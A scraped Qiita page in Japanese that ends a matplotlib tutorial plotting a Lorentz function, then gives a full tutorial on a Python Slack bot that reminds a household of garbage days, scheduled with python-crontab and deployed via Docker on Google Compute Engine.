x=np.arange(xmin,xmax,delta)
y=y0+(1/np.pi)*(w/(((x-x0)**2)+w**2))

plt.plot(x,y,'r',lw=2)
plt.xlabel("x")
plt.ylabel("f(x)")
plt.title("lorentz function")
plt.grid(True)

plt.savefig('figure.png')
plt.show()

pylabとnumpyをインポート

import pylab as plt
import numpy as np

定義域(xmin,xmax)とデータ点の数(npoints)を指定する

xmin=-5; xmax=5; npoints=100
delta=(xmax-xmin)/npoints

定義域、データ点が決まるとデータ点の間隔δも決定する。

関数内の定数を指定

w=2; x0=0; y0=0

これで関数を描画するために必要な情報が揃う。

関数の定義

x=np.arange(xmin,xmax,delta)
y=y0+(1/np.pi)*(w/(((x-x0)**2)+w**2))

ローレンツ関数を定義する

xはx軸の配列でyは各xの値に対応するyの値を決定する。

関数の描画とグラフの保存

plt.plot(x,y,'r',lw=2)
plt.xlabel("x")
plt.ylabel("f(x)")
plt.title("lorentz function")
plt.grid(True)

plt.savefig('figure.png')
plt.show()

plot()でデータ点の指定と線の色('r')と線幅(lw=2)を決める

savefig()でグラフを保存する

show()でjupyter notebook内にグラフを表示する

結果

実行結果は以下の通りである。

figure.png

.pngファイルとして保存したグラフを示している

まとめ

ローレンツ関数を例としてpythonで関数を描画する方法を解説した。

適宜描画したい関数に合わせてコードを変更すればよい

参考

・(https://teratail.com/questions/66705)
matplotlib
コーシー分布

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

もう家庭ゴミを捨て忘れない(Slackに定期投稿するbotをPythonで作成し、GCEで運用する)

概要

こんにちは。Qiita初投稿です。

皆さん、家庭ゴミを忘れずに捨てられていますか?
定期的に一定量発生する可燃ゴミはともかく、ビン・カン・ペットボトルや古紙などは忘れがちだったので、我が家ではSlackのリマインダーを設定していました。

slack_reminder.png

ただ、このリマインダー、第○週○曜日のようなカスタマイズができません。
我が家には、第1・3木曜日に捨てられる不燃ゴミがもう2ヶ月ほどリビングにありました。

そこで、第1・3木曜日の前日20時にSlackに投稿するbotをPythonで作成し、GoogleCloudEngine(以下GCE)で運用することにしました。その手順を残します。

手順

  1. Slackでアプリを作成し、Tokenを取得する
  2. Pythonのslackerライブラリを用いてSlack botを作成する
  3. Pythonのpython-crontabライブラリを用いて定期実行する環境を作成する
  4. botを実行する仮想環境をDockerfileで作る
  5. DockerイメージをGoogleCloudPlatform(以下GCP)のContainerRegistryにPushしてGCEにデプロイする

以下は上記の番号と連動した作業手順のイメージです。

スクリーンショット 2019-05-26 12.06.58.png

準備しておく環境

Python・Docker・GoogleSDKをインストールし、gcloud auth loginで認証を済ませてください。
またGCPにプロジェクトを1つ用意してください。

※botの作成まででしたらPython以外必要ありません。

参考ドキュメント
- Install Docker Desktop for Mac | Docker Documentation
- クイックスタート  |  Cloud SDK  |  Google Cloud

バージョン

$ python --version
Python 3.6.4 :: Anaconda, Inc.

$ docker --version
Docker version 18.09.2, build 6247962

$ gcloud --version
gcloud --version
Google Cloud SDK 246.0.0
bq 2.0.43
core 2019.05.10
gsutil 4.38

Slackでアプリを作成し、Tokenを取得する

手順は以下です。
1. アプリを作成する。(アプリ名とWorkspaceを決める)
2. Permissionを設定する
3. Workspaceにアプリをインストールする
4. Slack API Tokenを取得する

アプリを作成する

Slack API: Applications | Slack にアクセスし、Create New Appをクリックしてください。

アプリ名とWorkspaceを決めてください。ここではblogと名付けます。
slack_app.png

Permissionを設定する

作成したアプリがSlack APIを通して、なにを行ってよいのかを設定します。

作成後に遷移するページ、またはアプリの「Basic Information」ページの中のScopes欄へ。
今回は、メッセージの送信のみなので、Send messages as blogのみ選びます。
slack_permission.png

※Slack内でbotにメンションを飛ばして相互にやりとりをしたい場合は、「Bot Users」の欄から「Add a Bot User」で表示名等を決めてAddしましょう

Workspaceにアプリをインストールする

作成したアプリをWorkspaceにインストールします。

同ページ、またはアプリの「OAuth & Permissions」ページにあるInstall App to Workspaceをクリックし、許可してください。

slack_install.png

Slack API Tokenを取得する

botを作成する際に使う、Slack API Tokenを記録しておきます。

slack_install.png

Pythonのslackerライブラリを用いてSlack botを作成する

まずslackerライブラリをインストールします。

$ pip install slacker

Slack API Tokenを渡してslackerインスタンスを作成し、投稿したいチャンネルとメッセージを設定すればbotがslackに投稿します。
後々のことも考えてSlack API Tokenは環境変数に設定し、参照するようにします。

$ export SLACK_TOKEN=${your slack api token}

$ cat test_post.py
# -*- coding: utf-8 -*-
from slacker import Slacker
import os


def main():
    slack_token = os.environ['SLACK_TOKEN']
    slack = Slacker(slack_token)
    slack.chat.post_message('random', 'これはテスト投稿です')


if __name__ == '__main__':
    main()

$ python test_post.py

slack_install.png

投稿されました!!
それでは投稿すべきタイミングなのかを判定するロジックを追加しましょう。
前日の20時に明日が第1・3木曜日を判定します。

$ cat test_post.py
# -*- coding: utf-8 -*-
from slacker import Slacker
import os
import datetime


def get_week_number(dt):
    """
    datetime型を受け取って、週番号を返す
    """
    day = dt.day
    week = 0
    while day > 0:
        week += 1
        day -= 7
    return week


def post_regular(slack):
    TARGET_WEEKDAY = 3
    TARGET_WEEKNUMBER = (1, 3)

    tomorrow = datetime.datetime.now() + datetime.timedelta(days=1)

    # 木曜日かどうかを判定
    if tomorrow.weekday() != TARGET_WEEKDAY:
        return

    # 第1・3週かどうかを判定
    if get_week_number(tomorrow) not in TARGET_WEEKNUMBER:
        return

    slack.chat.post_message('bot_test', '明日は第1・3木曜日です')


def main():
    slack_token = os.environ['SLACK_TOKEN']
    slack = Slacker(slack_token)
    post_regular(slack)


if __name__ == '__main__':
    main()

曜日や週番号を変えたい場合は、TARGET_WEEKDAYやTARGET_WEEKNUMBERを変えましょう。

参考記事
- PythonでSlackbotを作る(3) – ビットログ
- Pythonで今日が今月の第何何曜日か調べる - Qiita

Pythonのpython-crontabライブラリを用いて定期実行する環境を作成する

まず、python-crontabライブラリをインストールします。

$ pip install python-crontab

実行すべきコマンドとスケジュールをファイルに書き出し、そのファイルをモニターして、
スケジュールに沿ってコマンドを実行します。

$ cat test_cron.py
# -*- coding: utf-8 -*-
from crontab import CronTab


class CrontabControl:
    def __init__(self):
        self.cron = CronTab()
        self.job = None
        self.all_job = None

    def write_job(self, command, schedule, file_name):
        self.job = self.cron.new(command=command)
        self.job.setall(schedule)
        self.cron.write(file_name)

    def read_jobs(self, file_name):
        self.all_job = CronTab(tabfile=file_name)

    def monitor_start(self, file):
        self.read_jobs(file)
        for result in self.all_job.run_scheduler():
            print('予定していたスケジュールを実行しました。')


def main():
    command = 'python ./test_post.py'
    schedule = '0 20 * * *'
    file = 'output.tab'

    c = CrontabControl()
    c.write_job(command, schedule, file)
    c.monitor_start(file)


if __name__ == '__main__':
    main()

botを実行する仮想環境をDockerfileで作る

pythonイメージを元に、必要なライブラリをインストールして、 test_cron.py を実行するようDockerfileを作成します。

GCEで運用する際は、タイムゾーンを変更するのを忘れないようにしましょう。
そうでないと、朝の5時にゴミ出しの通知が届くことになります。。。

# requirements.txtを用意する
$ pip freeze > requirements.txt

# 私の環境は以下です
$ cat requirements.txt
certifi==2019.3.9
chardet==3.0.4
croniter==0.3.30
idna==2.8
python-crontab==2.3.6
python-dateutil==2.8.0
requests==2.21.0
six==1.12.0
slackbot==0.5.3
slacker==0.13.0
urllib3==1.24.3
websocket-client==0.44.0

$ cat Dockerfile
FROM python:3.6.4-stretch
ADD . /code
WORKDIR /code

RUN pip install -r requirements.txt

# GCEはタイムゾーンがUTCになっているため、JSTに変更する
ENV TZ='Asia/Tokyo'

CMD ["python", "cron.py"]

DockerイメージをGCPにPushしてGCEにデプロイする

GCPには、Dockerイメージを保存、管理できる「Container Registry」というサービスがあります。
先ほどのDockerfileをもとにDockerイメージを作成するのですが、「Container Registry」にPushするためのタグの付け方に決まりがあります。

イメージの push と pull  |  Container Registry  |  Google Cloud
[HOSTNAME]/[PROJECT-ID]/[IMAGE]

$ cat bin/deploy
# カレントディレクトリのDockerfileをもとにbotという名前のDockerイメージを作成
docker build -t bot .

# [HOSTNAME]/[PROJECT-ID]/[IMAGE] でタグ付け
docker tag bot asia.gcr.io/$PROJECT_ID/bot:latest

# Container Registry にPush
gcloud docker -- push asia.gcr.io/$PROJECT_ID/bot:latest

$ chmod +x bin/deploy
$ export PROJECT_ID=${your gcp project id}
$ bin/deploy

GCPの「Container Registry」の項目にいくと、botという名前のDockerイメージがあがっていることが確認できます。
そのDockerイメージから「GCEにデプロイ」を選んでください。

スクリーンショット 2019-05-26 11.36.06.png

GCEを無料で運用するためには条件があるので、設定を変更しましょう。

参考ドキュメント
GCP の無料枠  |  Google Cloud Platform の無料枠  |  Google Cloud
参考記事
GCPで永久無料枠を利用してサービスを立ち上げたときにしたことの備忘録 - Qiita

スクリーンショット 2019-05-26 11.45.31.png

以上で終了です!

その他

再デプロイする

botの設定に変更加えたりして再デプロイしたい場合は、以下の手順で行えます。

  1. ローカルでコードに変更を加える
  2. Dockerイメージを作成し、「Container Registry」に再度Push(bin/depoy)
  3. 作成したインスタンスをリスタートする

作成したbotのソース

※毎週パターンにも対応できるようにしたりと改良を加えていますが、ソースはGithubにあげてあります。
https://github.com/aikiyy/regular_bot

結論

24時間ゴミ出し可能な家は神

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む